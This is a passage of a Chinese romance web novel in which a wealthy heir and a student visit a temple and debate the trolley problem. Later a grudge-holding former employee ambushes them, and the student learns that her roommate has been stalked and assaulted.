可沈晞并不知道,他并未无所求,只是想做之事,清醒的知道求神拜佛没用,他只愿信人定胜天。
沈晞想,他应当是不信的。从第一次在杭市寺庙见到他时,便觉得他这样的人,不像是狂热的信徒。毕竟很难想象他身上会出现“热切”这样的词语,实在是和他太不沾边。
“茜茜怎么也不进去?”正想着时,傅律白也在旁边礼尚往来的问了一句。
沈晞没答,只轻笑了下,微微看向一旁。
毕竟,她觉得,傅律白只是不那样热切,可他仍旧戴着串佛珠,毕竟平日里,连蛮重要的场合都不屑戴领带的人,仍旧愿戴串佛珠,总是有着不一样的情绪,或是精神的一种交流共振,她也总不好当着面说什么,是一种尊重。
可到底是年轻,情绪还是很难把控住,这一笑,便带着十足十的嗤笑。
傅律白自然看的出,也不由在心底轻笑,有时她身上这股劲劲儿的叛逆劲儿,是真的很有趣,有着不被约束也不愿被约束的自由与反抗感。
这种“反抗感”,就喷发出了耀眼的生命力。
是他身边大多数人没有的。
铃声轻响,电话在这时进入。
沈晞很识趣的往远处自然的走了走。
傅律白一边拿出手机,余光一边看到人已经站在了几米远,正微微倾身认真的看着面前一块小石碑。
这个年纪就能这样进退得当的有分寸,却又不会生出任何避嫌、多余那种怯怯地令人都不太自在的情绪来,而是轻松的融入到旁的事情里,独立清醒又自洽,不会为任何人任何事停留自扰,她是真的很灵。
“妈。”他淡淡收回视线,接通电话。
“……”那边的人顿了下,过了两秒温柔也带着些愉悦的声音才响起,“心情不错?”
知子莫若母,更何况是文雅山这种心细如丝大家族生活的人,即便傅律白也只是音调带着些细微的上扬,也被她察觉到。
傅律白没否认,鼻息间溢出淡淡气音,算是应了。
文雅山自然高兴,她这个儿子,无论是做儿子还是做大家族的话事人,亦或是对外的工作,无论任何身份、任何阶段都被他完成的很漂亮,挑不出一点错来。
她却不想他这样,他们傅家、被称为傅家长子傅家接班人,已经背负着常人所难以想象的压力,而他在这种密不透风的重压下,还能一切有条不紊做到这种程度,她不敢想她这个儿子承受了什么。
哪怕他有顶天立地的风骨,可也到底只是血肉之躯。
听着背景有些嘈杂空旷,文雅山心情很好的猜测,“在外面活动?”
“和开霁几个出来逛逛。”他说这话时,目光无意识扫过去,却发现石碑前早就换了人,他下意识淡淡扫寻了眼,发现她真的能跑,这会儿又跑到了许愿树下,很是有好奇心的看着人家的许愿带。
“逛逛好逛逛好,望舒还要念书,不然也能和你们一起。你们年轻人就该在一起出来多玩玩。”文雅山语调是掩饰不住的高兴,说完,顿了顿,再开口时声音又低沉了几分,“律白,你知道的,我和你父亲一直不想你沿着这条老路走,但他没有成功……我们希望你不是傅家长子,甚至不是傅家人,你有你自己的人生,你不用把你这辈子都陪葬在这里。”
“或许其他人、其他外系长辈羡慕你这个位置,甚至羡慕我们,可我和你父亲……自从知道有你的存在以后,我们都在想尽办法的挣脱出这片沼泽,但我还是一步步的,看你走向了这条路——”说到最后,文雅山的声音已经开始有些不稳。
傅律白连忙叫住她,“妈——”
文雅山深吸了一口气,“律白……”
轻声一叫,带着无数欲语还休和无力。
傅律白又怎么会感受不到那份担心与沉重,这些年,她已经经历了太多太多,丈夫的意外早逝身故,和孩子的聚少离多,大家族里的尔虞我诈的纷争,他眼睁睁看着母亲从快乐的世家小姐,变成了很难高兴起来的主母。
“妈,我……”他没办法那样不负责任的一走了之,里面的盘根错节牵扯的实在是太多太多,这一动可能就是千人万人,甚至滚雪球般到一个无比庞大的程度。他要彻底的解决这里的一切,把他把母亲、表妹,把陷入这个深渊里无数的人,全都拉出来。
听出他的为难,文雅山当然知道自己的儿子是什么样的人,也不再多说,她和他父亲当年,都没能为他铲平一切,给他一个正常的环境,现在,又能再说些什么。
只能看着他,和他们当年一样,不停的在这里挣扎着。她的儿子,向来不是会逃避的孬种。她应该欣慰的,可眼圈却不由的红了。
她无声的轻抹了下眼角,“嗐,看我,大过节的说这些干什么,你好好玩,只有开霁么?开然有没有一起?他鬼点子多。”
还能带着你,让你多玩玩。
“哪能少得了他,来这游湖就是他提的。”傅律白语调故意轻松的,来缓解着刚刚的氛围。
不过当时的情况事实上是,禹开然费劲了心思特意选了这么项活动,觉得又不失闲情雅致,又有着南北这样对撞的新鲜,于是来打电话询问着他的三哥。
毕竟三哥在国内的日子,尤其是在京,他的主要任务就是把人伺候好。
傅律白对这些没什么兴趣,其实他对什么都鲜少生出什么浓厚的兴趣来,也就是看个新鲜,可又哪有那本多的新鲜。可他还是留意到禹开然那句,放假了,总要——
想到那还有个人,放假应当会无聊,于是将这边的电话先挂断,又去问向沈晞。
沈晞说完要去时,才给在那头等着答案,又开始想着planABC的禹开然回复,才有了今日的出游。
文雅山便也顺着这个话题,两人随意的聊上了几句。
可傅律白又怎么会听不出她刚刚的故作轻松,临挂断电话时,傅律白低声的说:“妈,您在给我点时间。”
等到一切都解决,所有人都真正获得自由。
文雅山一愣,没想到他会旧事重提,甚至带着些松口的、向上的意味,既惊喜又欣慰到鼻尖再次有些发酸,哑声说着,“好、好。”
傅律白没告诉他,虽然这期间可能会有少一部分人牺牲,也可能是他。
他淡淡看向远方,目光有些发沉。视线收回时,发现之前在左侧这棵树下看人家许愿带的人,已经绕到了右边那颗树下,仍仰着头,一双清澈明亮的眸子里满是认真的端详着。
也不知怎么就这样有趣,让她看了整整一圈,刚想走过去问文她有看到什么有趣的事来时,脚步才抬起,便又有电话进来。
傅律白脚步一顿,看不出什么情绪的脸上,神色越发的淡。
是一串国外打来的号码,他眸色微深,最后还是接通。
“傅先生。”电话那头响起一道清越沉稳的男声,声音微微低沉带着几分谨慎的请示着,“所有线已经铺垫完成,是否现在切断收尾?”
“……”
傅律白没有讲话,仍保持着之前那样略显闲散却不会看上去吊儿郎当,而是从容松弛的站姿,可一双浅淡琥珀的眸子此
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时却忽沉忽暗,浓得像是滴蜡。
电话那头的人也并未催促,大抵是知道事态的严重,好似连他的呼吸都一同屏住,安静的像是时间都凝固。
也不知过了多久,傅律白垂在身侧的手慢慢拢起,在即将握紧的最后一刻,还是松开了,他轻闭了下眼睛,再睁开时已是清淡如常,再看不出情绪来。
声音依旧清淡平稳,“先别动,等我通知。”
那边的人愣了下,不知道为何安排这样久的事,会在这一刻忽然叫停。却没忘傅先生在计划这件事时,付出的心血以及所面对的层层危机,以及更长远的背后的牵扯。可在听到傅先生举重若轻般的坚定声音后,他的心又稳住了,“是。”
电话挂断,傅律白轻轻吐出了口浊气。他想毁了傅家在海外的暗线,傅家家大业大,各系分支各自发展,早在各个领域都站稳了脚步。这些见不得光的,也早就在前几代交给了外姓,但实在是太伤天害理,所以他就布了这条线,也因此在一切布控好后,回到了国内,等着一切的发酵。
可现在他却迟疑了,因为母亲刚刚的那通电话。
这项清扫工作开始,务必会引起多方动乱,他有些不忍母亲那样担心忧神。
一泡着不知道什么茶的半满纸杯忽然出现在眼前,他下意识淡淡抬眸,便见那不知道跑到哪里去的人又站在自己面前。
沈晞也拿着一杯不紧不慢的喝着,是茉莉花茶,有着淡淡的清香,水温适中,喝起来蛮舒服。
她看完石碑,又绕完两颗许愿树,没想到他还没讲完电话,平时也不见话这样多,便又溜达到了旁的饮水处,不知道沾了香火气的茶是什么味道,会不会更好喝,便从大大的自助铁壶里,给自己接了一杯。
接完,又想着,算了,讲那么多话一定口渴,就又顺便给他接了一杯。
不得不说,沾了香火气的茶,好像确实更有滋味。
傅律白接过,声音温淡道:“多谢。”
随后举起纸杯来喝。
用的是左手,小紫檀佛珠随着动作微微上移,映衬着他白皙骨干很强,却又不会瘦弱反而线条流畅,充满力量的小臂很性感。
沈晞却兀自想到那日,在酒会上,他从容的拿着高脚杯,却一直也未喝的别人敬来的酒。
明明只是个一次性纸杯,都被他喝出了几分清雅矜贵劲儿来,可周身气息却有些敛。
“你遇到不开心的事了么?”
傅律白才将水喝完,正要连着她手中的那个纸杯找地方一起扔掉,就听她这样问。
她问起别人是不是不开心,语调都是轻松的,甚至好奇更甚,却不叫人觉得不合时宜。没有丝毫小心翼翼跟着一起语气便低,使得氛围变得更加凝重。
她背后是透过许愿树,承载着世人愿景的金灿灿的光,头上微微竖起的小绒毛看上去软乎乎的有些可爱,那双过于清澈黑漆漆的眸子亮晶晶的,带着她那份独有的生命力所带来的轻松与上扬。
好像,不开心的事在她看来也没关系,活得很是随意。
他还便真想和她说说。
“知道电车难题么?”傅律白忽然问。
“就是救一个和救五个那个?”沈晞问。
傅律白点头,看着她问:“要是茜茜,会怎么选?”
“我选择都不救,又不关我的事,该怎么走就怎么走,”沈晞说的毫不在意,相当的冷酷,而后又看了眼不远处的佛堂,带着几分阴阳怪气的调侃道,“可不能随便不介入别人的因果。”
她这样事不关己高高挂起的样子,可真是什么都难不倒她。
傅律白察觉她好像已知信息不全,为她补充着,“是有一个疯子,在一个铁路上绑了五个人,再另一个绑了一个,你恰好在旁边路过——”
说到这他顿了一下,看着她眸色微深,唇角似乎勾起了个有些无奈的弧度,“茜茜,路过,就已经介入了因果。”
沈晞顿时有些烦躁,她挠了挠头,“这事我就非管不可了?”
傅律白轻笑了下,看着有些孩子气的她道:“非管不可。”
她撇了撇嘴,大概是因为非得处理不管自己事的事,语气有些不耐烦的问:“那那个疯子在哪儿?”
傅律白顿了下,不知道她为什么问这个问题,如实说:“不知道。”
沈晞语气更不怎么爽了,说:“要是疯子就在旁边,那就把他扔轨道上,他搞出来的破事凭什么让别人为难啊。”
很是有脾气的恩怨分明,傅律白看着她的目光,却变得有些发深,一错不错的看着她,又问:“那要是,不在旁边呢?”
“那就还按原本的既定轨道,也是疯子做的孽,和我无关,我可不会有什么心理压力,谁也怨不得我。毕竟少介入别人的因果。”她说的语调相当的轻松,还是那种劲劲儿的,说到最后,还歪着头十分不虔诚的装模作势双手合十了下。
艳阳越过金顶照在她的身上,她身后是郁郁葱葱的千年菩提,一双圆润的眸子里水盈盈的全是狡黠,灵动的像是快要溢出来,蛮横的砸进人的心里。
百年里,大家似乎一直都在为planA还是planB争论的喋喋不休,似乎从未有人跳出这个模式,给出这样以牙还牙的答案。
她是真的很有小脾气,看来以后轻易惹不得。
本也没想过她会给出什么样的答案,只是这些话他没法儿和任何讲,没想到……
沈晞不知道他对这个答案是什么想法,满不满意,逆着金灿灿的光,只见他像往常般,不轻易对任何事件和人进行评论的礼貌一笑,可又似乎比往日多了些别的含义。
金灿灿的光照进他的眼里,让他看着自己的目光也变得灼灼。
明知只是光线原因,却也让她有些招架不住的眼神微闪,原来那向来清淡的眸这样灼灼的直视着人时,像是清泉浇琢的琥珀变成了耐心切磨的钻石,璀璨耀眼的让人移不开眼,却也带着灼人的危险。
让人的心都随之一震。
24. 第 24 章
禹开然两个给整个寺庙里大大小小佛祖菩萨一个没落下的拜完后回来,才将这光影打散。
有他在总是不缺少热闹,大老远的便听他讲:“三哥还好你没进去,香灰掉手上了,差点给我烫出个疤。”
沈晞不着痕迹的移开视线,语调有些故作兴奋与夸张的看着禹开然讲:“哇你完了,这是菩萨给你的预警,你要出大事了。”
傅律白也淡淡睨向他,看不出什么情绪来。
禹开然一听,赶紧道:“呸呸呸,童言无忌童言无忌。”
他“呸”了三声后还是很紧张,委屈的愤愤不平道:“那是人家的香,我插上去的刚好落我手上了,又不是我自己的香掉下来的,怎么就是警告我呢!我多冤啊我!”
“那你看看,都不惜让别人的香灰掉你手上了,都要警告你,这菩萨多慈悲啊。”沈晞煞有介事的说着。
要说活了近三十年问心无愧,那自然是不可能的,虽然没做过什么真的伤天害理的事,但很多一些上不得台面的事,都是他去处理的。
心里越发没了普,半信半疑的问:“你又不信这些,怎么知道的这么清楚?”
“我是不信,可是我家有个可虔诚的老太太啊。”沈晞一脸“我没骗你,你真的完了的表情”,带着点幸灾乐祸的看着他说。
说完,忽然想到什么,余光又快速看了眼身旁的人。
其实傅律白也在看着她,只不过相比于她的不着痕迹,傅律白便姿态从容的多。
他没再怎么听两个人之后的对话,却是不认同那句“童言无忌”。
童言么?
他的视线轻轻落到一旁人的身上。
线条流畅的鹅蛋脸,皮肤白皙透亮的在阳光下能看出微微可爱的小绒毛,挑不出错来的精致五官,因小巧而看上去不会太具成熟女性的艳丽与攻击性,她只是长得有些乖,哪里和“童”有着半分关系。
只那双漆黑圆润,充满灵动与思想的漂亮眼睛,便足以美的让人过目不忘。
没有察觉到二人间微妙的互动,禹开然愈发的紧张,又和傅律白申请,跑回去给所有菩萨和尚道了歉,几个人才返程回去。
仍是坐着小船。
为了追求那股韵味,也用的是乌篷船,下来时船晃得有些不稳,禹开然鞍前马后的当时是先跳了下来,而后又伸手扶了把傅律白。
沈晞下来时,他也下意识的伸了手,可却有一只手快了他几秒的率先伸到了他的前面。
只见傅律白负手而立,脸上带着浅浅的笑意。
禹开然手顿时僵在了空中,收也不是,不收也不是。
好在,还是程开霁反应快,将手伸了过去。
禹开然如见到救命恩人般,立刻将人拉了上去。
此时日头正是最足的时候,沈晞看着光下那只白皙修长,骨节分明的手,是掌心向上的,他的掌纹线条很清晰,条条竖竖的不像她杂乱错落。
这便是给了她选择,她可以将手放上去,也可以只搭在他的腕上。
沈晞的呼吸莫名有些发紧,最终还是伸手,将细软的手放在他的掌中,他的手掌很大干燥而又温热,没想到他平日那样一个冷清的人,身上确实炙热的,虽然上次醉酒,靠在他肩上睡着时,也近距离的感受到过他的体温,可那时,隔着一层薄薄的布料,如今这样直白的触碰,烫的她指尖都不受控制的轻轻颤栗。
傅律白微微用力,轻易的便将她拉到了岸上,也因此,两人的手有一瞬间的紧握,只不过在她站稳后,便将她松开。
两人率先并排在前面走着。
程开霁两人跟在后面,小声骂着,“你疯了!三哥带来的人你殷勤什么?!”
“草,我也知道是三哥带来的,那我好好照顾有错了?我哪儿能成想三哥也伸手啊!”禹开然自己觉得也很冤。
程开霁“哼”了一声,一脸“你自求多福”的表情。
禹开然跟他作揖,“刚刚真是谢了兄弟。”
已是中午,禹开然说这附近有家百年老店,专门做经典京鲁菜的,烧烩爪尖、老佛爷养生鸡是他家的招牌,味道还不错。还有家老字号是以烤牛肉和麻将烧饼出名的,问三哥想去哪家。
傅律白却看向沈晞,绅士的问她的意见,“想吃什么?”
沈晞也不拿乔,想了下,大大方方的笑着说:“那咱们就去尝尝,看看当年老佛爷是怎么养生享受的。”
“大概比不过茜茜。”傅律白半拖着调子这样说着。
他这语调里带着些调侃打趣的味道,沈晞却不懂,“为什么?”
“茜茜吃的古今中外,她嘛,吃来吃去,也就只剩个鸡。”
沈晞莫名想到当时在小吃街,她吃的脸红红的样子,有些不好意思,却又不想被看出,恼羞成怒道:“那还要不要去吃啦?”
她不自觉带上了些江南软调,以及自己都没发现的娇嗔。阳光下,少女微红的脸胜过桃花。
傅律白微颔着首,眼底也像是被春日融化,语调含笑却又端出个绅士正经样子来,“茜茜小姐发了话,当然要去。”
禹开然和程开霁不着痕迹的在两人之间逡巡着,下意识对视,都看到了彼此眼中的深意与复杂。
临出园时,沈晞去了下卫生间,三位男士在附近等。
这里的卫生间也修的很园林意境,沈晞洗完手后出来,却没想到对上了一张表情阴翳难看的脸。
“……”
真是冤家路窄。
没想到彭念真这么快就会被放出来,上次出事她被警察带走后,她便没再管。
只知道她被彻底开除,在档案上记了一笔,从此业内应该会永不录用了。好像还听说被判了多久什么的,但她没怎么再关心了。
她每天有那么多事要做,即开心又充实,哪里犯得上有时间再分给彭念真这样无关紧要又让人恶心的人。
但此时,彭念真的表情却告诉她,她有的是时间。
今天心情不错,沈晞也不愿因她破坏了好情绪,从她旁边绕过便打算离开。
毕竟,她平时就颠颠的,现在大概率也没什么好公司会要她,说不定会精神不正常,自己还是离得远远的好。
“沈晞——!”
可还没走两步,就听见一声极具阴沉,甚至带着点撕心裂肺的声音叫她。
这个声音实在是太过凄厉,被这样的声音叫着自己的名字,沈晞不由下意识地回头。
只见彭念真身后不知从哪站出来了两个男人,一个又高又壮像个棕熊,一个虽然矮一点但吨位也很足。彭念真长得很清秀娇小,三个人站在一起其实是很违和的,像是她被挟持欺负的那个。只不过此时三个人表情都是同款的阴狠,那恨意像是要喷发出来,活像复仇者联盟。
在两个大块头有动作之前,沈晞便已经转身就跑。
……
禹开然不着痕迹的打量了傅律白好几次,见他神色如常似乎并未将刚刚他差点献错殷勤的事放在心上,他这才彻底放下心来,又转念一想,三哥这样的人,大抵是不会将任何男人放在眼里的,不是自信与自恋,是人家确实有这样的底气。
想必所有人都对茜茜小姐爱护有加,他才乐见其成。
禹开然又逗乐子的聊了几句,转过头来,就看见茜茜跑了过来,心想,回来就回来,怎么忽然这样热情,还用跑的,这是饿不行了?
可下一秒,见到她身后凶神恶煞追着的两个男人后,他和程开霁神色具是一凛。
傅律白自然也看到,向来清淡的眸子里变得有些发沉。
沈晞已经跑到了他们的面前,禹开然伸手将她拉到了自己和程开霁的身后,傅律白又抬手扶住她因着惯性的俯冲。
追上来的两个大汉,一个是彭念真的表哥,就是替她找花那个,知道事情的始末,一个也是住在他家附近大家关系都不错,知道彭念真在公司里因为这样的人丢了工作受了委屈,都憋着一口气,这次恰巧遇到,怎么会轻易放过这个叫沈晞的,所以追了上来,打算给她点教训。
没想到,却发现跟她一起的,还有三个男人,几个人的身姿气质都摆在这里,那是长期上位者自带的气势,更何况他们人多,他们两个人哪怕看上去比他们块头大,但被那气势压的,也打退堂鼓,下意识地就要走。
禹开然察觉到他们的意图,自然不可能让,他半拖着调子,将纨绔公子哥劲儿一点都没收着,“怎么着啊,认识我们家妹妹啊,追的这么紧,我们总得好好招呼招呼,就这么走了算什么?”
两个人脸色有点难看,处在是否要打一场中迟疑的,要走,似乎是不放了。
就在他们想着,要打还是现在打还是等会再打,踌躇时,禹开然和程开霁两个已经率先出了手。他们向来没什么顾虑,惹着他们的人,哪能轻轻松松的就了事。
别看平日里斯斯文文,一般也遇不到这样的事情,少有他们自己出手的时候。没怎么打过架,却也时常健身,而且他们下手也没顾虑,招招下狠手,很快两个大汉就被收拾的跪躺在地上。
追在后面的彭念真赶到时,看到的就是这么一幕。
禹开然没有什么怜香惜玉不打女人的狗屁节操,只不过在三哥和茜茜面前,有些不好意思出手,谁知道他才走过去,彭念真便被他身上那股还未消散的凶神恶煞气吓到,直接腿一软的自己摔倒在地。
禹开然:“……”
一切都处理的很快,快到沈晞站在傅律白身旁,他们两人的身后,都都没反应过来就已经结束了。
她倒是还有心情看热闹,傅律白一寸一寸的在她身上扫视着,在确定她没受什么伤后,又笑问:“怎么到哪里都能结仇。”
那语气间带着点无奈,又是漫不经心的不在意,好似结仇也没关系,反正也都能处理。
沈晞真是冤枉,提醒着他,“她是彭念真。”
傅律白淡淡地看着她,一脸“所以呢?”与自己无关的表情。
沈晞强忍着翻白眼的冲动,只得再解释的详细一些,“是你公司曾经的员工,是在你公司里我们才结的仇,所以要说起来,你、甚至——”
她说着,又看了眼前面的程开霁,多少还是给程开霁面子的,没向和说起他来时那样理直气壮,声音微小了几分说:“程总,都有责任。”
听到“公司里结仇”几个字,傅律白才淡淡看向地上的人,原来就是这个人。
跌坐在地上的彭念真,却被他冷漠像是看陌生人的表情刺激到,他怎么会不认识自己呢,当时他在公司,她和他打招呼时,他还深深地看了自己一眼,并且还特地路过了他们办公室的啊!
所以她才想拼命的留下来,不单只是为了这份不可得的工作,还是为了有多和他相处的机会。
他怎么能!像是看陌生人一样!
彭念真彻底崩溃,再被警察带走时,都一脸呆滞。
其实她不知道,当时,傅律白多给了她个眼神,不过是因为,第一次被人叫“傅总”觉得新鲜,所以挑了下眼。
因着上次的事,傅律白只说按正常流程走,大抵那边又疏通了些关系,彭念真才会这么快的被放出来,但没想到还屡教不改丝毫没悔改的心思,这次便没那样简单了。
禹开然之后又特地打了声招呼,反正这人出来后,不敢再找沈晞一点麻烦,甚至看到她都恨不得绕到走。
这么个小插曲,也没耽误他们吃午饭。
不愧是百年老店,人满为患,但他们到后,还是有位子直接进了包厢。
沈晞以为是一些面子,但却不知,面子嘛多少是有的,但禹开然也早就周到的提前订好了这两家的位置,只等着三哥他们到时选。
好在鸡汤清淡鲜美,弥补了这个插曲。
虽然,沈晞还是觉得,这他妈神经病一样。但这个情绪一出来,就会被她以——啊,为了傻逼生气,哪怕是动一点情绪,自己岂不是更傻逼,把自己给劝住,跟什么事都没发生过一样,快快乐乐的捧着鸡汤喝。
禹开然忍不住在桌上夸,“可以嘛茜茜,大将之风。”
但后面还有句话他没讲——
不愧是被三哥看中的,也只有这样子的人,才能和三哥站在一起。
他说完这话时,只不着痕迹的看向傅律白。
傅律白只姿态从容随意的夹着面前的菜,偶尔给沈晞夹一下,沈晞也很自然的直接就吃了,看上去似乎还很合胃口,禹开然看的暗自心惊,好像他早已熟知她的口味。
或许两个人之间的关系,比他们想象的,还要亲近。
-
假期结束后,傅律白又开始神龙见首不见尾,时而很闲又像是很忙。
闲时,偶尔会约她出去,也只是吃个饭聊聊天。也不会提前约好下次,毕竟他行踪飘忽,全
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凭缘分。有时她没时间,会在电话那头毫不走心的玩笑道:“那没办法啊傅先生,要不然你开口别让我加班好了。”
傅律白也在那边讲:“我这就去和他们讲,真是不像话,竟然让我们茜茜小姐连饭都没得吃。”
但两个人都未认真,也都知道是在开玩笑。
倒是禹开然闲的很,他似乎总是有着大把的时间去挥霍,去消遣,去游戏人间。这段时间约她出去了好几次,第一次约她时她没答应,而是过后旁敲侧击的问了下傅律白的意思。
毕竟和他朋友出去,总要把握些分寸感。
傅律白知道她心中所想,语气倒是很轻松,说:“无聊了就让他带你去玩,他对玩总是很有研究。”
有了他这句话,沈晞便也放心大大方方的轻松去玩。
也真真见识了有钱公子哥,对玩这方面的造诣和花样,也算是让她长了见识。
但也时常突发奇想,活得相当随心所欲,似乎不怎么会在乎他人的感受。
有一天,禹开然竟然大半夜三点多打电话过来,说要去香山上看日出,他们人已经在她校门口了,让她赶紧出来。
当时她才加完一个项目,十二点才睡,人被这电话惊醒,都是迷迷糊糊的,一边无语一边埋进被子里讲电话,怕吵到同样睡得听完的宁今雨。
“不去,你知道现在几点么?又不是人人都像你一样不用去上班。”
她拒绝完,看着天花板,忽然有些身心俱疲。
她那天的态度不算好,可过几天禹开然又像是没事人一样,该叫她出去出去。不过要是再有这种夜间活动,不会再直接打电话过来,会记得提前发个消息。
其实后来沈晞才知道,他们这种夜间动物,在就对正常人作息没了什么概念。
也是不久后才知道,他们那帮人为什么会活得这样随心所欲。
傅律白虽然有着比他们收敛、沉稳与平易近人设身处地的周到礼貌,可她知道,他骨子里也是那种随心所欲旁若无人的自在的。
-
五一假期过后的半个月,她一直维持着这样的生活,傅律白仍旧忙得时常见不到人影,她偶尔会和禹开然一帮人出去玩,和那群人也渐渐熟络。
临近毕业答辩,姜瑶也终于结束了满世界的飞行,暂时安稳落在京市。
几乎一下飞机,就托着大包小包冲到了沈晞的宿舍里,那架势,和这些天,陆续有人收拾行李搬空宿舍实在是形成了鲜明的对比。
人人都拿着大包小包往外走,唯独她,手上托着一个白色箱子,另一只手还提着个大包往里冲。
沈晞看着她这样子,完全没有飞行十几个小时的疲倦,生龙活虎的,不禁感叹做个无忧无虑每天只需要玩的大小姐也需要天赋,至少她就没这样的体力。
又觉得,她应当和禹开然很有话题玩得来,毕竟他们总是有着不知疲倦般的无限精力。
沈晞看着这样多的东西,连连扶额,“姑奶奶,我们是要毕业往外搬东西,不是才住进来需要添置家当啊。你拿来这么多,到时候搬都不好搬。”
“怕什么,用不完就直接丢了,”姜瑶不以为意的边说边打开行李箱,露出里面杂七杂八她全球游时淘换到的新鲜玩意,“再说,全是吃的和用的,你和小雨两个很快就搞完了。”
和姜瑶成为朋友,实属偶然。
姜瑶是国际部的学生,本来是和本校分数两个校区,但当时国际部要重修宿舍,便把他们安排到了本部。国际部大多都是少爷小姐,大多数受不了直接出去租房住,姜瑶也是这么打算的,但当时她已经有点野出头了,她爸爸明令禁止就让她住在宿舍里,意图让本部好学生那优良的气息熏陶熏陶她。
不过最初也是为了国际部专门空出来了些宿舍,并不和本部一起的。虽然一些课程是在一起上的,但是本部也向来对他们这些,只会吃喝玩乐混日子的少爷小姐们看不上,姜瑶尤其会玩出挑,就成了主要被攻击的那个。
姜瑶当然不会受这气,甚至找到了其中的乐趣。从每天——这个破地方啊啊啊天天只知道学习,我快要疯了,好无聊到——啊,今天又可以和心比天高的好学生们斗智斗勇,把他们气的鼻青脸肿了:)
但到底是人单力薄,也有战败被欺负哭的时候,那次沈晞便恰好遇到,沈晞在学校人缘向来不错,就从中调和了一下,姜瑶这个大小姐,大概是第一次发现,好学生不全是那个逼样,眨着一双纯真的大眼睛就此上课时也爱主动坐在沈晞旁边。
她在宿舍也住的不开心,甚至知道沈晞宿舍还有房间时,询问着能不能住过去。
和宁今雨关系也还可以。
两个人一边吃着行李箱里的小零食,一边听姜瑶聊着这段时间出去时的趣闻,正笑着,宿舍门被从外面打开,宁今雨回来,大概是没想到宿舍会有人,身形微顿。
姜瑶抬头看过去,笑着和她说:“小雨你回来啦,刚巧,我带了好多好吃的,快来吃。”
宁今雨边往床边走,边声音有些哑的说:“你们吃吧,我有点困了。”
“哦。”被拒绝,姜瑶有些悻悻的小声应了句,又觉得有些奇怪,但一时间又不知道哪里奇怪。收回视线继续吃着手里的芝士条,有些安静的宿舍里发出清脆的声音。
沈晞的视线一直落在宁今雨的身上,眸色有些发沉。
姜瑶又拿出了根芝士条来,缓慢的眨了眨眼,忽然想到什么——
这个季节,还用将连帽戴上么?外面,她刚刚过来的时候也没那么冷啊……
“宁今雨——!”
就在这时,沈晞忽然喊了一嗓子,这么突然一下,声音大的吓了她一跳,直接把芝士条掰断了。
她刚想问“干嘛啊,吓死她了”,被突然大声叫到大名的宁今雨也没什么防备,下意识地回了头,然后姜瑶便瞪大了眼睛,把那句话卡在了喉咙里。
因为她看到,宁今雨那清冷白皙漂亮的脸,此时肿肿的,上面有着巨大的巴掌印,看着就疼,不但如此,因为她此时已经正在攀着宿舍床的梯子往上爬,因为动作,原本拉的紧紧的连帽灰色卫衣的拉链滑下来一小节。
露出脖颈上,那红紫色的勒痕,在莹白纤细的脖子上,显得是那样触目惊心。
这样的痕迹,都能想象出当时的力度,下手的人显然是要将她活活勒死!
沈晞顿时神色一凛。
25. 第 25 章
“怎么回事?”沈晞盯着她的脖子,沉声问。
宁今雨神色有些慌乱的揽了揽自己的衣领,没说话。
“藏得住么?”沈晞被她这个动作几乎气笑了。进来时,就觉得她不对劲,头低低的,姜瑶和她打招呼也很冷淡,她虽然长相清冷,但换做平时,姜瑶这么久没来,就算是很困,也会浅浅的笑和她聊上几句再回去。
所以她下意识凝视着她,在她转头往梯子上爬时,虽然有帽子和头发挡着,但还是露出些侧脸,是不正常的红,于是她故意大声叫了她一下,没想到回过头来,竟然比她想象中的还要严重。
姜瑶也回过神来,惊呆般看着她,“天呐!这是怎么了!”
两双眼睛注视着她,空气有些凝固。尤其是沈晞,那双玻璃珠般又圆又大的眼睛,这样直白的盯着人时,十分的清冷,人人都说她长得清冷,可沈晞这个样子看人时,再配上右边的那颗泪痣,不但清冷还有种说不出的压迫感。
她轻叹了口气,看着她反而坦然了,“茜茜,这事你管不了,别问了。”
“你不说怎么知道管不了?”沈晞视线迎着她,紧逼不放。没有丝毫想要退缩,被吓到的意思,越是这样,越能激发出她身上的反骨来。
姜瑶也在一旁挺起胸膛,“还有我呢!什么是在京城我管不了的!”
宁今雨看向她,轻笑了下,笑得有些认命般的疲惫,“你也管不了。”
“……”姜瑶被她这个语气和眼神弄得有些宕机,正在不知道说些什么时,就听沈晞开了口。
“行。”
她松了口气,沈晞点子总是多的,也下意识跟着点头附和。在听起她说的是什么时,猛地转头看向沈晞,冲着她挤眉弄眼的,怎么就行了啊!
宁今雨也是一愣,没想到她会就这样松口。
下一秒,却只见沈晞点了点头,双手环着胸,姿态很慵懒随意,说出来的话却带着股无赖劲儿,“我们管不了,那警察总可以吧,你这样,总得报警吧。”
她明显生了气,越是生气语气越带着股漫不经心地的呛劲儿。
宁今雨眼圈忽然就是一红,像是带着无数委屈与无助,却也早知道哭没有用,没让泪坠下来,就那样用着最后的倔强含在眼眶里,看着她说:“警察也不行。”
“警察怎么管不了?还无法无天了?!”姜瑶撸起袖子,好像欺负人的人就在眼前一样。
沈晞却在她这一眼中,猛地一震,似乎意识到了某些更加深层又黑暗的东西,是那些存在、但他们又鲜少碰到,类似于深渊的东西。
可她还是用那双干净漆黑的眼睛,坚定的看着她,没有退闪,“或许,我们真的管不了,但是你至少说出来,如果有一天你真的出事,我们至少也知道是为什么。”
姜瑶听得云里雾里,什么如果出事,这不是已经出事了么!这已经出大事了啊!
宁今雨却在她这坚定又温和,好像能承托一切的目光中,彻底破了防,多日来的担忧、恐惧与委屈瞬间爆发,含在眼眶中的泪再也忍不住,断了线一样的往下落。
沈晞怕她情绪太激动站不住掉下来,走过去,托住她的腰将她扶下来。
宁今雨直接哭的趴在她的肩上,像是要汲取最后一点力量,这段时间她太过孤立无援,如同走在钢丝上稍有不慎就会万劫不复。
沈晞也没催促,只是拍着她的背。
姜瑶看她哭成这样,也跟着“哇”的一声哭了,从背后抱住她,“到底怎么了啊。”
等宁今雨缓情绪缓和了些,才把这段时间她非人的经历讲给她们:
半年前,忽然有人往她账号上砸了很多钱,疯狂的刷礼物,想约她见面,言语间也很不礼貌,吓得她连夜注销了账号。
没想到没多久,竟然找到了她简直的那家民宿去。穿得挺像那么回事,但没什么正形的站在前台和前台笑吟吟的聊着,她正去接班,那人边说边笑着回头,直接笑着叫出了她的名字,在他漫不经心笑着说自己是谁时,那一刻她只觉得毛骨悚然。
沈晞眉心微蹙,没想到她注销账号的真正原因,竟然是这样,而她当时竟语气轻松的说只是忙不过来,她当时心里得难受又无奈。
她想着,看着宁今雨的眼神又多心疼了几分。
